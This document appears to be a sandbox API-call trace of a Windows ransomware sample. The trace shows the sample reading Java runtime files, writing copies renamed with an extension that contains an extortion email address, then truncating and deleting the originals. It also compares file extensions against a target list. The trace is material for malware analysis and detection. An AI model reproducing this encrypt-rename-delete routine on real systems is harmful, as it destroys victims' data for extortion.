	[0093.558] lstrlenW (lpString=".1cd") returned 4
	[0093.558] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.558] lstrlenW (lpString=".jpg") returned 4
	[0093.558] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.558] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0093.558] lstrlenW (lpString="jjs.exe") returned 7
	[0093.558] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0093.564] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=15936) returned 1
	[0093.564] CloseHandle (hObject=0x398) returned 1
	[0093.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20
	[0093.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0093.564] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.565] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.565] GetLastError () returned 0x0
	[0093.565] ReadFile (in: hFile=0x398, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x3e40, lpOverlapped=0x0) returned 1
	[0093.644] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x3e50, lpOverlapped=0x0) returned 1
	[0093.645] ReadFile (in: hFile=0x398, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.645] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0093.645] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.645] CloseHandle (hObject=0x2b8) returned 1
	[0093.645] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.645] SetEndOfFile (hFile=0x398) returned 1
	[0093.646] CloseHandle (hObject=0x398) returned 1
	[0093.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.646] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1
	[0093.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.646] lstrlenW (lpString=".doc") returned 4
	[0093.646] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.646] lstrlenW (lpString=".docx") returned 5
	[0093.647] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0093.647] lstrlenW (lpString=".pdf") returned 4
	[0093.647] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.647] lstrlenW (lpString=".xls") returned 4
	[0093.647] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.647] lstrlenW (lpString=".xlsx") returned 5
	[0093.647] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0093.647] lstrlenW (lpString=".ppt") returned 4
	[0093.647] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.647] lstrlenW (lpString=".zip") returned 4
	[0093.647] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.647] lstrlenW (lpString=".rar") returned 4
	[0093.647] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.647] lstrlenW (lpString=".bz2") returned 4
	[0093.647] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.647] lstrlenW (lpString=".7z") returned 3
	[0093.647] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.647] lstrlenW (lpString=".dbf") returned 4
	[0093.647] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.647] lstrlenW (lpString=".1cd") returned 4
	[0093.647] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.647] lstrlenW (lpString=".jpg") returned 4
	[0093.647] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.647] lstrlenW (lpString=".doc") returned 4
	[0093.647] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.647] lstrlenW (lpString=".docx") returned 5
	[0093.647] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0093.647] lstrlenW (lpString=".pdf") returned 4
	[0093.647] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.647] lstrlenW (lpString=".xls") returned 4
	[0093.648] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.648] lstrlenW (lpString=".xlsx") returned 5
	[0093.648] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0093.648] lstrlenW (lpString=".ppt") returned 4
	[0093.648] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.648] lstrlenW (lpString=".zip") returned 4
	[0093.648] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.648] lstrlenW (lpString=".rar") returned 4
	[0093.648] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.648] lstrlenW (lpString=".bz2") returned 4
	[0093.648] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.648] lstrlenW (lpString=".7z") returned 3
	[0093.648] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.648] lstrlenW (lpString=".dbf") returned 4
	[0093.648] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.648] lstrlenW (lpString=".1cd") returned 4
	[0093.648] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0093.648] lstrlenW (lpString=".jpg") returned 4
	[0093.648] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.648] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.648] lstrlenW (lpString="jli.dll") returned 7
	[0093.648] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0093.649] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=174656) returned 1
	[0093.649] CloseHandle (hObject=0x398) returned 1
	[0093.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20
	[0093.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.649] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0093.649] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.649] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.649] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0093.820] GetLastError () returned 0x0
	[0093.820] ReadFile (in: hFile=0x398, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x2aa40, lpOverlapped=0x0) returned 1
	[0094.076] WriteFile (in: hFile=0x360, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x2aa50, lpOverlapped=0x0) returned 1
	[0094.079] ReadFile (in: hFile=0x398, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.079] WriteFile (in: hFile=0x360, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0094.079] SetEndOfFile (hFile=0x360) returned 1
	[0094.122] CloseHandle (hObject=0x360) returned 1
	[0094.127] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.127] SetEndOfFile (hFile=0x398) returned 1
	[0094.129] CloseHandle (hObject=0x398) returned 1
	[0094.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.129] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1
	[0094.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.130] lstrlenW (lpString=".doc") returned 4
	[0094.130] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.130] lstrlenW (lpString=".docx") returned 5
	[0094.130] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0094.130] lstrlenW (lpString=".pdf") returned 4
	[0094.130] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.130] lstrlenW (lpString=".xls") returned 4
	[0094.130] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.130] lstrlenW (lpString=".xlsx") returned 5
	[0094.130] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0094.130] lstrlenW (lpString=".ppt") returned 4
	[0094.130] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.130] lstrlenW (lpString=".zip") returned 4
	[0094.130] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.130] lstrlenW (lpString=".rar") returned 4
	[0094.130] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.130] lstrlenW (lpString=".bz2") returned 4
	[0094.130] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.130] lstrlenW (lpString=".7z") returned 3
	[0094.130] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.130] lstrlenW (lpString=".dbf") returned 4
	[0094.130] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.130] lstrlenW (lpString=".1cd") returned 4
	[0094.130] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.131] lstrlenW (lpString=".jpg") returned 4
	[0094.131] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.131] lstrlenW (lpString=".doc") returned 4
	[0094.131] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.131] lstrlenW (lpString=".docx") returned 5
	[0094.131] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0094.131] lstrlenW (lpString=".pdf") returned 4
	[0094.131] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.131] lstrlenW (lpString=".xls") returned 4
	[0094.131] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.131] lstrlenW (lpString=".xlsx") returned 5
	[0094.131] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0094.131] lstrlenW (lpString=".ppt") returned 4
	[0094.131] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.131] lstrlenW (lpString=".zip") returned 4
	[0094.131] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.131] lstrlenW (lpString=".rar") returned 4
	[0094.131] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.131] lstrlenW (lpString=".bz2") returned 4
	[0094.131] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.131] lstrlenW (lpString=".7z") returned 3
	[0094.131] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.131] lstrlenW (lpString=".dbf") returned 4
	[0094.131] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.131] lstrlenW (lpString=".1cd") returned 4
	[0094.131] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0094.131] lstrlenW (lpString=".jpg") returned 4
	[0094.131] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.132] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.132] lstrlenW (lpString="kcms.dll") returned 8
	[0094.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0094.132] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=220736) returned 1
	[0094.132] CloseHandle (hObject=0x398) returned 1
	[0094.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20
	[0094.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0094.133] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.133] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0094.133] GetLastError () returned 0x0
	[0094.133] ReadFile (in: hFile=0x398, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x35e40, lpOverlapped=0x0) returned 1
	[0094.175] WriteFile (in: hFile=0x360, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x35e50, lpOverlapped=0x0) returned 1
	[0094.179] ReadFile (in: hFile=0x398, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.179] WriteFile (in: hFile=0x360, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0094.179] SetEndOfFile (hFile=0x360) returned 1
	[0094.179] CloseHandle (hObject=0x360) returned 1
	[0094.179] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.180] SetEndOfFile (hFile=0x398) returned 1
	[0094.182] CloseHandle (hObject=0x398) returned 1
	[0094.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.182] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1
	[0094.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.182] lstrlenW (lpString=".doc") returned 4
	[0094.182] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.182] lstrlenW (lpString=".docx") returned 5
	[0094.182] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0094.182] lstrlenW (lpString=".pdf") returned 4
	[0094.182] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.182] lstrlenW (lpString=".xls") returned 4
	[0094.182] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.182] lstrlenW (lpString=".xlsx") returned 5
	[0094.182] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0094.182] lstrlenW (lpString=".ppt") returned 4
	[0094.182] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.182] lstrlenW (lpString=".zip") returned 4
	[0094.182] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.182] lstrlenW (lpString=".rar") returned 4
	[0094.183] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.183] lstrlenW (lpString=".bz2") returned 4
	[0094.183] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.183] lstrlenW (lpString=".7z") returned 3
	[0094.183] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.183] lstrlenW (lpString=".dbf") returned 4
	[0094.183] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.183] lstrlenW (lpString=".1cd") returned 4
	[0094.183] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.183] lstrlenW (lpString=".jpg") returned 4
	[0094.183] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.183] lstrlenW (lpString=".doc") returned 4
	[0094.183] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.183] lstrlenW (lpString=".docx") returned 5
	[0094.183] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0094.183] lstrlenW (lpString=".pdf") returned 4
	[0094.183] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.183] lstrlenW (lpString=".xls") returned 4
	[0094.183] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.183] lstrlenW (lpString=".xlsx") returned 5
	[0094.183] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0094.183] lstrlenW (lpString=".ppt") returned 4
	[0094.183] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.183] lstrlenW (lpString=".zip") returned 4
	[0094.183] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.183] lstrlenW (lpString=".rar") returned 4
	[0094.183] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.183] lstrlenW (lpString=".bz2") returned 4
	[0094.183] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.183] lstrlenW (lpString=".7z") returned 3
	[0094.184] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.184] lstrlenW (lpString=".dbf") returned 4
	[0094.184] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.184] lstrlenW (lpString=".1cd") returned 4
	[0094.184] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0094.184] lstrlenW (lpString=".jpg") returned 4
	[0094.184] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.184] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.184] lstrlenW (lpString="kinit.exe") returned 9
	[0094.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0094.184] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=16448) returned 1
	[0094.184] CloseHandle (hObject=0x398) returned 1
	[0094.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20
	[0094.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
